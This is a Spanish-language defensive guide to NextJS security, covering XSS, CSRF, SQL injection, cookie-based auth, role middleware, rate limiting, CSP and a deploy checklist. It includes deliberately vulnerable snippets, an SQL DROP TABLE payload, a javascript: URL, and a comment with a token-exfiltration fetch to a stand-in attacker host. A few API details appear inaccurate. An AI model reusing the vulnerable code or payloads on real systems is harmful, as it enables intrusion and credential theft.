Seguridad en Aplicaciones NextJS: Guia Completa para Desarrolladores
Guia practica de seguridad en NextJS. XSS, CSRF, SQL Injection, autenticacion, middleware, rate limiting, CSP headers y checklist de seguridad antes de deploy.
Seguridad en Aplicaciones NextJS: Guia para Desarrolladores
La seguridad en NextJS no es una funcionalidad que agregas al final del proyecto. Es parte del desarrollo desde el primer commit. Esta guia cubre las vulnerabilidades mas comunes en aplicaciones web, como se manifiestan en NextJS y React, y que puedes hacer para proteger tu aplicacion con codigo concreto.
No vamos a cubrir teoria abstracta. Cada seccion tiene codigo que puedes implementar directamente en tu proyecto.
Por que seguridad importa desde el dia uno
Un error comun es pensar que la seguridad es responsabilidad del equipo de DevOps o de alguien mas. La realidad es que la mayoria de vulnerabilidades se introducen en el codigo de la aplicacion, no en la infraestructura.
Datos del OWASP Top 10 muestran que las vulnerabilidades mas explotadas en aplicaciones web son prevenibles con buenas practicas de codigo:
- Inyeccion (SQL, NoSQL, comandos): datos de usuario ejecutados como codigo
- Autenticacion rota: tokens mal manejados, sesiones que no expiran
- Exposicion de datos: secrets en repos, respuestas con datos de mas
- XSS: scripts maliciosos ejecutados en el navegador del usuario
- CSRF: acciones ejecutadas sin el consentimiento del usuario
NextJS te da herramientas para mitigar cada una. Veamos como.
OWASP Top 10 resumido para NextJS
El OWASP Top 10 es el estandar de referencia para vulnerabilidades en aplicaciones web. Esto es lo que aplica directamente a tu stack de NextJS:
| Vulnerabilidad OWASP | Relevancia en NextJS | Seccion |
|---|---|---|
| A01: Broken Access Control | Middleware, Server Components | Authorization |
| A02: Cryptographic Failures | Variables de entorno, HTTPS | Autenticacion |
| A03: Injection | Server Actions, API Routes | SQL Injection |
| A05: Security Misconfiguration | Headers, CSP | Headers de seguridad |
| A07: XSS | React components, dangerouslySetInnerHTML | XSS |
| A08: CSRF | Server Actions, formularios | CSRF |
No todo aplica igual
Algunas categorias de OWASP como "Vulnerable and Outdated Components" se manejan a nivel de dependencias (npm audit), no a nivel de codigo. Aqui nos enfocamos en lo que puedes controlar directamente desde tu aplicacion NextJS.
XSS: Como prevenirlo en React y NextJS
Cross-Site Scripting (XSS) ocurre cuando un atacante logra ejecutar JavaScript malicioso en el navegador de otro usuario. En una aplicacion React, esto es menos comun gracias a que JSX escapa el contenido automaticamente, pero no es imposible.
React te protege por defecto
// Esto es SEGURO - React escapa el contenido
function Comentario({ texto }: { texto: string }) {
return <p>{texto}</p>
}
// Si texto = "<script>alert('hackeado')</script>"
// React renderiza el texto literal, no ejecuta el scriptDonde si hay riesgo: dangerouslySetInnerHTML
// PELIGROSO - Esto ejecuta HTML sin escapar
function ContenidoHTML({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
// Si html viene de un usuario, puede contener scripts maliciososLa solucion: sanitizar el HTML
Si necesitas renderizar HTML externo (por ejemplo, contenido de un CMS o un editor WYSIWYG), sanitizalo primero:
npm install isomorphic-dompurifyimport DOMPurify from 'isomorphic-dompurify'
function ContenidoSeguro({ html }: { html: string }) {
const htmlLimpio = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br', 'h2', 'h3'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
})
return <div dangerouslySetInnerHTML={{ __html: htmlLimpio }} />
}Nunca confies en el input del usuario
Aunque uses DOMPurify, configura una lista explicita de tags y atributos permitidos. La configuracion por defecto es permisiva. Ser restrictivo es mejor que ser permisivo cuando se trata de HTML externo.
Otros vectores de XSS en NextJS
// PELIGROSO - URLs con javascript:
function Link({ url }: { url: string }) {
// Si url = "javascript:alert('xss')", se ejecuta al hacer click
return <a href={url}>Click aqui</a>
}
// SEGURO - Valida el protocolo
function LinkSeguro({ url }: { url: string }) {
const urlSegura = url.startsWith('http://') || url.startsWith('https://')
? url
: '#'
return <a href={urlSegura}>Click aqui</a>
}// PELIGROSO - Estilos dinamicos sin validar
function Avatar({ color }: { color: string }) {
// Si color = "red; background-image: url(javascript:...)"
return <div style={{ backgroundColor: color }} />
}
// SEGURO - Usa una allowlist
const COLORES_PERMITIDOS = ['red', 'blue', 'green', 'gray'] as const
function AvatarSeguro({ color }: { color: string }) {
const colorSeguro = COLORES_PERMITIDOS.includes(color as any)
? color
: 'gray'
return <div style={{ backgroundColor: colorSeguro }} />
}CSRF: Proteccion con Server Actions y tokens
Cross-Site Request Forgery (CSRF) ocurre cuando un sitio malicioso hace que el navegador del usuario envie una peticion a tu aplicacion aprovechando las cookies de sesion activas.
Server Actions de NextJS ya incluyen proteccion
NextJS genera automaticamente un token CSRF para cada Server Action. Esto significa que si usas Server Actions para mutaciones, ya tienes proteccion basica:
// app/perfil/page.tsx
export default function PerfilPage() {
async function actualizarNombre(formData: FormData) {
'use server'
const nombre = formData.get('nombre') as string
// NextJS verifica automaticamente el token CSRF
// antes de ejecutar esta funcion
await db.usuario.update({
where: { id: sesion.userId },
data: { nombre },
})
}
return (
<form action={actualizarNombre}>
<input name="nombre" type="text" required />
<button type="submit">Guardar</button>
</form>
)
}Para API Routes: implementa tokens CSRF manualmente
Si usas API Routes en lugar de Server Actions, necesitas manejar la proteccion tu mismo:
// lib/csrf.ts
import { randomBytes } from 'crypto'
import { cookies } from 'next/headers'
export async function generarTokenCSRF(): Promise<string> {
const token = randomBytes(32).toString('hex')
const cookieStore = await cookies()
cookieStore.set('csrf-token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
path: '/',
maxAge: 60 * 60, // 1 hora
})
return token
}
export async function verificarTokenCSRF(token: string): Promise<boolean> {
const cookieStore = await cookies()
const tokenGuardado = cookieStore.get('csrf-token')?.value
if (!tokenGuardado || !token) return false
// Comparacion en tiempo constante para prevenir timing attacks
const encoder = new TextEncoder()
const a = encoder.encode(tokenGuardado)
const b = encoder.encode(token)
if (a.byteLength !== b.byteLength) return false
return crypto.subtle.timingSafeEqual(a, b)
}// app/api/perfil/route.ts
import { verificarTokenCSRF } from '@/lib/csrf'
import { NextRequest, NextResponse } from 'next/server'
export async function POST(request: NextRequest) {
const body = await request.json()
const tokenValido = await verificarTokenCSRF(body.csrfToken)
if (!tokenValido) {
return NextResponse.json(
{ error: 'Token CSRF invalido' },
{ status: 403 }
)
}
// Procesar la solicitud
// ...
}Prefiere Server Actions
Si puedes usar Server Actions en lugar de API Routes para mutaciones, hazlo. La proteccion CSRF viene integrada y no tienes que manejar tokens manualmente.
SQL Injection: ORM como defensa principal
SQL Injection ocurre cuando datos del usuario se insertan directamente en una consulta SQL. Aunque suena a vulnerabilidad de 2005, sigue siendo una de las mas comunes.
El problema: consultas sin parametrizar
// PELIGROSO - SQL Injection directo
import { sql } from '@vercel/postgres'
async function buscarUsuario(email: string) {
// Si email = "'; DROP TABLE usuarios; --"
// Se ejecuta: SELECT * FROM usuarios WHERE email = ''; DROP TABLE usuarios; --'
const resultado = await sql.query(
`SELECT * FROM usuarios WHERE email = '${email}'`
)
return resultado.rows[0]
}La solucion: queries parametrizadas
// SEGURO - Query parametrizada
import { sql } from '@vercel/postgres'
async function buscarUsuario(email: string) {
// El valor se pasa como parametro, nunca se interpola en el SQL
const resultado = await sql`
SELECT * FROM usuarios WHERE email = ${email}
`
return resultado.rows[0]
}ORMs: defensa por defecto
Si usas un ORM como Prisma o Drizzle, las queries estan parametrizadas automaticamente:
// SEGURO - Prisma parametriza automaticamente
async function buscarUsuario(email: string) {
const usuario = await prisma.usuario.findUnique({
where: { email }, // Prisma escapa el valor
})
return usuario
}// SEGURO - Drizzle tambien parametriza
import { eq } from 'drizzle-orm'
import { usuarios } from '@/db/schema'
async function buscarUsuario(email: string) {
const resultado = await db
.select()
.from(usuarios)
.where(eq(usuarios.email, email)) // Drizzle escapa el valor
return resultado[0]
}Cuidado con raw queries
Incluso con un ORM, si usas raw queries, el riesgo vuelve:
// PELIGROSO - raw query sin parametrizar
const resultado = await prisma.$queryRawUnsafe(
`SELECT * FROM usuarios WHERE nombre LIKE '%${busqueda}%'`
)
// SEGURO - raw query parametrizada
const resultado = await prisma.$queryRaw`
SELECT * FROM usuarios WHERE nombre LIKE ${`%${busqueda}%`}
`Autenticacion: mejores practicas
La autenticacion es donde mas errores de seguridad se cometen. Estas son las reglas fundamentales.
Nunca guardes tokens en localStorage
// MALO - localStorage es accesible desde cualquier script
localStorage.setItem('token', response.token)
// Si hay una vulnerabilidad XSS, el atacante roba el token:
// fetch('https://atacante.com/robar?token=' + localStorage.getItem('token'))Usa httpOnly cookies
// lib/auth.ts
import { cookies } from 'next/headers'
import { SignJWT, jwtVerify } from 'jose'
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
export async function crearSesion(userId: string) {
const token = await new SignJWT({ userId })
.setProtectedHeader({ alg: 'HS256' })
.setExpirationTime('7d')
.setIssuedAt()
.sign(SECRET)
const cookieStore = await cookies()
cookieStore.set('session', token, {
httpOnly: true, // No accesible desde JavaScript
secure: true, // Solo HTTPS
sameSite: 'strict', // No se envia en peticiones cross-origin
maxAge: 60 * 60 * 24 * 7, // 7 dias
path: '/',
})
}
export async function obtenerSesion() {
const cookieStore = await cookies()
const token = cookieStore.get('session')?.value
if (!token) return null
try {
const { payload } = await jwtVerify(token, SECRET)
return payload as { userId: string }
} catch {
return null
}
}
export async function cerrarSesion() {
const cookieStore = await cookies()
cookieStore.delete('session')
}Hashea passwords correctamente
// lib/password.ts
import { hash, verify } from '@node-rs/argon2'
// Argon2id es el algoritmo recomendado actualmente
export async function hashearPassword(password: string): Promise<string> {
return hash(password, {
memoryCost: 19456, // 19 MB
timeCost: 2,
parallelism: 1,
})
}
export async function verificarPassword(
password: string,
hashGuardado: string
): Promise<boolean> {
return verify(hashGuardado, password)
}Variables de entorno
Tu JWT_SECRET y cualquier otro secret deben estar en variables de entorno, nunca en el codigo. Si necesitas una guia para configurar esto correctamente, revisa variables de entorno en NextJS y Vercel.
Checklist de autenticacion
- httpOnly cookies para tokens de sesion
- Passwords hasheados con Argon2id o bcrypt (nunca MD5 o SHA)
- Tokens con expiracion corta (7 dias maximo para sesiones)
- Rotacion de tokens en cada request o periodicamente
- Rate limiting en endpoints de login
- Validacion de password strength en registro
Authorization: Middleware de NextJS para proteger rutas
Autenticacion es verificar quien eres. Authorization es verificar que puedes hacer. NextJS Middleware es perfecto para esto porque se ejecuta antes de que la pagina cargue.
Middleware basico de autenticacion
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
// Rutas que requieren autenticacion
const RUTAS_PROTEGIDAS = ['/dashboard', '/perfil', '/configuracion']
// Rutas solo para usuarios no autenticados
const RUTAS_AUTH = ['/login', '/registro']
export async function middleware(request: NextRequest) {
const token = request.cookies.get('session')?.value
const path = request.nextUrl.pathname
// Verificar si el token es valido
let sesionValida = false
if (token) {
try {
await jwtVerify(token, SECRET)
sesionValida = true
} catch {
// Token invalido o expirado
sesionValida = false
}
}
// Redirigir si accede a ruta protegida sin sesion
const esRutaProtegida = RUTAS_PROTEGIDAS.some(ruta =>
path.startsWith(ruta)
)
if (esRutaProtegida && !sesionValida) {
const loginUrl = new URL('/login', request.url)
loginUrl.searchParams.set('redirect', path)
return NextResponse.redirect(loginUrl)
}
// Redirigir si ya tiene sesion y accede a login/registro
const esRutaAuth = RUTAS_AUTH.some(ruta => path.startsWith(ruta))
if (esRutaAuth && sesionValida) {
return NextResponse.redirect(new URL('/dashboard', request.url))
}
return NextResponse.next()
}
export const config = {
matcher: ['/dashboard/:path*', '/perfil/:path*', '/configuracion/:path*', '/login', '/registro'],
}Authorization por roles
// middleware.ts - Version con roles
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
type Role = 'usuario' | 'editor' | 'admin'
interface PermisoRuta {
path: string
roles: Role[]
}
const PERMISOS: PermisoRuta[] = [
{ path: '/dashboard', roles: ['usuario', 'editor', 'admin'] },
{ path: '/editor', roles: ['editor', 'admin'] },
{ path: '/admin', roles: ['admin'] },
]
export async function middleware(request: NextRequest) {
const token = request.cookies.get('session')?.value
const path = request.nextUrl.pathname
if (!token) {
return NextResponse.redirect(new URL('/login', request.url))
}
try {
const { payload } = await jwtVerify(token, SECRET)
const userRole = payload.role as Role
const permiso = PERMISOS.find(p => path.startsWith(p.path))
if (permiso && !permiso.roles.includes(userRole)) {
// El usuario no tiene permiso para esta ruta
return NextResponse.redirect(new URL('/sin-acceso', request.url))
}
// Agregar info del usuario al header para usarla en Server Components
const headers = new Headers(request.headers)
headers.set('x-user-id', payload.userId as string)
headers.set('x-user-role', userRole)
return NextResponse.next({ headers })
} catch {
return NextResponse.redirect(new URL('/login', request.url))
}
}Verificacion en Server Components
El middleware protege las rutas, pero tambien debes verificar permisos en tus Server Components para operaciones especificas:
// app/admin/usuarios/page.tsx
import { obtenerSesion } from '@/lib/auth'
import { redirect } from 'next/navigation'
export default async function AdminUsuariosPage() {
const sesion = await obtenerSesion()
if (!sesion || sesion.role !== 'admin') {
redirect('/sin-acceso')
}
const usuarios = await db.usuario.findMany()
return (
<div>
<h1>Administrar Usuarios</h1>
{/* renderizar tabla de usuarios */}
</div>
)
}Rate Limiting en API Routes
Sin rate limiting, un atacante puede hacer miles de peticiones por segundo a tu API. Esto puede causar desde consumo excesivo de recursos hasta ataques de fuerza bruta contra tu endpoint de login.
Implementacion con Upstash
npm install @upstash/ratelimit @upstash/redis// lib/rate-limit.ts
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'
// Crear instancia de Redis con Upstash
const redis = new Redis({
url: process.env.UPSTASH_REDIS_REST_URL!,
token: process.env.UPSTASH_REDIS_REST_TOKEN!,
})
// Rate limiter: 10 peticiones por 10 segundos por IP
export const rateLimiter = new Ratelimit({
redis,
limiter: Ratelimit.slidingWindow(10, '10 s'),
analytics: true,
})
// Rate limiter mas estricto para login
export const loginRateLimiter = new Ratelimit({
redis,
limiter: Ratelimit.slidingWindow(5, '60 s'), // 5 intentos por minuto
analytics: true,
})// app/api/login/route.ts
import { loginRateLimiter } from '@/lib/rate-limit'
import { NextRequest, NextResponse } from 'next/server'
export async function POST(request: NextRequest) {
// Obtener IP del cliente
const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
// Verificar rate limit
const { success, limit, reset, remaining } = await loginRateLimiter.limit(ip)
if (!success) {
return NextResponse.json(
{ error: 'Demasiados intentos. Intenta de nuevo mas tarde.' },
{
status: 429,
headers: {
'X-RateLimit-Limit': limit.toString(),
'X-RateLimit-Remaining': remaining.toString(),
'X-RateLimit-Reset': reset.toString(),
'Retry-After': Math.ceil((reset - Date.now()) / 1000).toString(),
},
}
)
}
// Procesar login normalmente
const body = await request.json()
// ... validar credenciales
}Rate limiting en Middleware (global)
// middleware.ts - Agregar rate limiting global
import { rateLimiter } from '@/lib/rate-limit'
export async function middleware(request: NextRequest) {
// Solo rate limit en API routes
if (request.nextUrl.pathname.startsWith('/api/')) {
const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
const { success } = await rateLimiter.limit(ip)
if (!success) {
return NextResponse.json(
{ error: 'Rate limit excedido' },
{ status: 429 }
)
}
}
// Resto de la logica del middleware...
return NextResponse.next()
}Content Security Policy (CSP)
Content Security Policy es un header HTTP que le dice al navegador que recursos puede cargar tu pagina. Es una de las defensas mas efectivas contra XSS porque incluso si un atacante logra inyectar un script, el navegador lo bloquea si no esta en la lista permitida.
Configuracion en next.config.ts
// next.config.ts
import type { NextConfig } from 'next'
const nextConfig: NextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' 'unsafe-eval'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.tudominio.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; '),
},
],
},
]
},
}
export default nextConfigunsafe-inline y unsafe-eval
NextJS necesita 'unsafe-inline' para los estilos inyectados y puede necesitar 'unsafe-eval' en desarrollo. En produccion, puedes usar nonces para eliminar 'unsafe-inline' en scripts. La documentacion de seguridad de NextJS explica como implementar nonces con middleware.
CSP con nonces (mas seguro)
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const cspHeader = [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'nonce-${nonce}'`,
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self'",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; ')
const headers = new Headers(request.headers)
headers.set('x-nonce', nonce)
const response = NextResponse.next({ headers })
response.headers.set('Content-Security-Policy', cspHeader)
return response
}// app/layout.tsx
import { headers } from 'next/headers'
export default async function RootLayout({
children,
}: {
children: React.ReactNode
}) {
const headersList = await headers()
const nonce = headersList.get('x-nonce') ?? ''
return (
<html lang="es" nonce={nonce}>
<body>{children}</body>
</html>
)
}Para una configuracion mas detallada de headers de seguridad, incluyendo HSTS, X-Frame-Options y Permissions-Policy, revisa la guia de headers de seguridad para aplicaciones web.
Validacion de inputs
Cada dato que entra a tu aplicacion desde el exterior es potencialmente malicioso. Formularios, query params, headers, cookies, todo debe validarse antes de usarse.
Validacion con Zod en Server Actions
Si todavia no usas Zod, revisa la guia completa de Zod para validacion. Aqui va un ejemplo aplicado a seguridad:
// app/actions/crear-usuario.ts
'use server'
import { z } from 'zod'
const CrearUsuarioSchema = z.object({
email: z.string()
.email('Email invalido')
.max(255, 'Email demasiado largo')
.toLowerCase()
.trim(),
nombre: z.string()
.min(2, 'Nombre muy corto')
.max(100, 'Nombre muy largo')
.trim()
.regex(/^[a-zA-ZÀ-ÿ\s]+$/, 'El nombre solo puede contener letras'),
password: z.string()
.min(8, 'Minimo 8 caracteres')
.max(128, 'Password demasiado largo')
.regex(/[A-Z]/, 'Debe contener al menos una mayuscula')
.regex(/[a-z]/, 'Debe contener al menos una minuscula')
.regex(/[0-9]/, 'Debe contener al menos un numero'),
})
export async function crearUsuario(formData: FormData) {
const datosRaw = {
email: formData.get('email'),
nombre: formData.get('nombre'),
password: formData.get('password'),
}
// Validar ANTES de hacer cualquier cosa
const resultado = CrearUsuarioSchema.safeParse(datosRaw)
if (!resultado.success) {
return {
error: resultado.error.flatten().fieldErrors,
}
}
// Los datos ya estan validados y tipados
const { email, nombre, password } = resultado.data
// Proceder con la creacion del usuario
const passwordHash = await hashearPassword(password)
await db.usuario.create({
data: { email, nombre, passwordHash },
})
return { success: true }
}Validacion de query params en API Routes
// app/api/usuarios/route.ts
import { z } from 'zod'
import { NextRequest, NextResponse } from 'next/server'
const BusquedaSchema = z.object({
q: z.string().max(100).optional(),
pagina: z.coerce.number().int().min(1).default(1),
limite: z.coerce.number().int().min(1).max(100).default(20),
orden: z.enum(['nombre', 'fecha', 'email']).default('fecha'),
})
export async function GET(request: NextRequest) {
const searchParams = Object.fromEntries(request.nextUrl.searchParams)
const resultado = BusquedaSchema.safeParse(searchParams)
if (!resultado.success) {
return NextResponse.json(
{ error: 'Parametros invalidos', detalles: resultado.error.flatten() },
{ status: 400 }
)
}
const { q, pagina, limite, orden } = resultado.data
// Usar los parametros validados
const usuarios = await db.usuario.findMany({
where: q ? { nombre: { contains: q } } : undefined,
skip: (pagina - 1) * limite,
take: limite,
orderBy: { [orden]: 'asc' },
})
return NextResponse.json(usuarios)
}No solo valides en el cliente
La validacion del lado del cliente es para mejorar la experiencia del usuario. La validacion del servidor es para proteger tu aplicacion. Siempre necesitas ambas.
Cuando hagas peticiones con fetch desde el cliente, valida la respuesta tambien. No asumas que la API siempre responde con el formato esperado.
Manejo seguro de variables de entorno
Las variables de entorno son uno de los vectores de ataque mas comunes. Un .env commiteado accidentalmente puede exponer tu base de datos, API keys y secrets a todo el mundo.
Reglas basicas
// NUNCA expongas variables del servidor al cliente
// En NextJS, solo variables con prefijo NEXT_PUBLIC_ son accesibles en el cliente
// .env.local
DATABASE_URL="postgresql://..." // Solo servidor
JWT_SECRET="..." // Solo servidor
NEXT_PUBLIC_API_URL="https://api.com" // Cliente y servidor// Valida que las variables existan al inicio
// lib/env.ts
import { z } from 'zod'
const envSchema = z.object({
DATABASE_URL: z.string().url(),
JWT_SECRET: z.string().min(32),
UPSTASH_REDIS_REST_URL: z.string().url(),
UPSTASH_REDIS_REST_TOKEN: z.string().min(1),
})
// Esto lanza un error al inicio si falta alguna variable
export const env = envSchema.parse(process.env)Escanear tu repo por secrets expuestos
Un error comun es commitear un .env o hardcodear un API key en algun archivo. Para detectar esto automaticamente, datahogo escanea tu repositorio de GitHub y te alerta si encuentra credenciales, API keys o secrets expuestos en tu codigo. Si ya tiene acceso, genera un PR con el fix automaticamente.
Ademas de herramientas externas, agrega .env* a tu .gitignore desde el primer commit:
# .gitignore
.env
.env.local
.env.development.local
.env.test.local
.env.production.localChecklist de seguridad antes de deploy
Antes de deployar tu aplicacion NextJS a produccion, verifica cada uno de estos puntos:
Proteccion contra ataques
- XSS: No usas
dangerouslySetInnerHTMLcon contenido de usuarios sin sanitizar - CSRF: Usas Server Actions o implementas tokens CSRF en API Routes
- SQL Injection: Todas las queries estan parametrizadas o usan un ORM
- Rate limiting: Endpoints de login y API tienen limites de peticiones
Autenticacion y autorizacion
- Tokens en httpOnly cookies, no en localStorage
- Passwords hasheados con Argon2id o bcrypt
- Middleware protege rutas que requieren autenticacion
- Verificacion de roles en Server Components para operaciones sensibles
- Sesiones con expiracion configurada
Headers de seguridad
- Content-Security-Policy configurado
- Strict-Transport-Security habilitado
- X-Content-Type-Options: nosniff presente
- X-Frame-Options: DENY presente
- Referrer-Policy configurado
Variables de entorno y secrets
-
.enven.gitignoredesde el primer commit - Variables de entorno validadas con Zod al inicio
- No hay secrets hardcodeados en el codigo
- Solo variables
NEXT_PUBLIC_expuestas al cliente - Repo escaneado con una herramienta de deteccion de secrets
Validacion de datos
- Todos los inputs validados en el servidor con Zod
- Query params validados en API Routes
- Tipos de archivo validados en uploads
- Tamano de payload limitado en API Routes
Dependencias
-
npm auditsin vulnerabilidades criticas - Dependencias actualizadas a versiones con parches de seguridad
- Lock file (
package-lock.json) commiteado
No necesitas implementar todo de golpe. Empieza con lo critico (autenticacion, validacion de inputs, variables de entorno) y ve agregando capas de seguridad incrementalmente. Cada punto que marques reduce significativamente la superficie de ataque.
Errores comunes de seguridad en NextJS
Estos son errores que veo frecuentemente en proyectos de NextJS. Revisa que tu proyecto no tenga ninguno:
1. Exponer datos sensibles en Server Components
// MALO - El objeto completo llega al cliente como props
async function PerfilPage() {
const usuario = await db.usuario.findUnique({ where: { id } })
// usuario incluye passwordHash, secret, etc.
return <PerfilForm usuario={usuario} />
}
// BIEN - Solo enviar los datos necesarios
async function PerfilPage() {
const usuario = await db.usuario.findUnique({
where: { id },
select: { nombre: true, email: true, avatar: true },
})
return <PerfilForm usuario={usuario} />
}2. Server Actions sin verificar autorizacion
// MALO - Cualquiera puede eliminar cualquier post
async function eliminarPost(postId: string) {
'use server'
await db.post.delete({ where: { id: postId } })
}
// BIEN - Verificar que el usuario es dueno del post
async function eliminarPost(postId: string) {
'use server'
const sesion = await obtenerSesion()
if (!sesion) throw new Error('No autenticado')
const post = await db.post.findUnique({ where: { id: postId } })
if (post?.autorId !== sesion.userId) throw new Error('No autorizado')
await db.post.delete({ where: { id: postId } })
}3. Redirect abierto
// MALO - El usuario puede redirigir a cualquier sitio
export async function GET(request: NextRequest) {
const redirect = request.nextUrl.searchParams.get('redirect')
return NextResponse.redirect(redirect!) // Puede ser https://atacante.com
}
// BIEN - Solo permitir rutas internas
export async function GET(request: NextRequest) {
const redirect = request.nextUrl.searchParams.get('redirect') ?? '/dashboard'
// Verificar que sea una ruta interna
const url = new URL(redirect, request.url)
if (url.origin !== request.nextUrl.origin) {
return NextResponse.redirect(new URL('/dashboard', request.url))
}
return NextResponse.redirect(url)
}Resumen
La seguridad en NextJS no requiere ser experto en criptografia. Requiere disciplina para aplicar patrones consistentes:
- Nunca confies en datos del exterior -- valida todo con Zod
- React te protege de XSS por defecto -- no lo desactives con
dangerouslySetInnerHTML - Usa Server Actions -- la proteccion CSRF viene incluida
- Usa un ORM -- la proteccion contra SQL Injection viene incluida
- httpOnly cookies para tokens -- nunca localStorage
- Middleware para proteger rutas -- es la primera linea de defensa
- Rate limiting -- protege contra fuerza bruta y abuso
- CSP headers -- la segunda capa contra XSS
- Variables de entorno seguras -- configuralas correctamente
- Escanea tu repo -- verifica que no tengas secrets expuestos
La seguridad es un proceso continuo, no un checklist que completas una vez. Cada feature nuevo es una oportunidad para introducir una vulnerabilidad, y cada code review es una oportunidad para detectarla antes de que llegue a produccion.
Preguntas frecuentes
Como prevenir XSS en una aplicacion NextJS?
React escapa automaticamente el contenido renderizado en JSX, lo que previene la mayoria de ataques XSS. Evita usar dangerouslySetInnerHTML con contenido de usuarios. Si necesitas renderizar HTML externo, sanitizalo con una libreria como DOMPurify antes de pasarlo al componente.
Es seguro guardar tokens de autenticacion en localStorage?
No. localStorage es accesible desde cualquier script JavaScript en la pagina, incluyendo scripts inyectados por XSS. Usa httpOnly cookies que no son accesibles desde JavaScript del cliente. Configuralas con los flags Secure, SameSite=Strict y un tiempo de expiracion corto.
Como implementar rate limiting en API Routes de NextJS?
Puedes usar librerias como upstash/ratelimit con un store en Redis para limitar peticiones por IP o por usuario. Configura el rate limiter en tu API Route o middleware y responde con status 429 cuando se exceda el limite.
Que es Content Security Policy y como se configura en NextJS?
Content Security Policy (CSP) es un header HTTP que le indica al navegador que recursos puede cargar la pagina. Se configura en next.config.ts dentro del arreglo headers o en un middleware personalizado. Restringe fuentes de scripts, estilos, imagenes y conexiones para prevenir ataques XSS e inyeccion de contenido.
Necesito validar inputs en el servidor si ya valido en el cliente?
Si, siempre. La validacion del cliente se puede saltar con cualquier herramienta de desarrollo o peticion HTTP directa. La validacion del servidor es la unica que realmente protege tu aplicacion. Usa una libreria como Zod para definir schemas que validen en ambos lados.
Articulos relacionados
Rate Limiting en Next.js: Protege tus APIs
Implementa rate limiting en tus API routes de Next.js. Limita requests por IP, protege endpoints sensibles y evita abuso con patrones simples.
Headers de Seguridad: Que Son y Como Configurarlos en tu Aplicacion Web
Guia practica sobre headers de seguridad HTTP. CSP, HSTS, X-Frame-Options, Referrer-Policy y como implementarlos en NextJS con next.config.ts y middleware.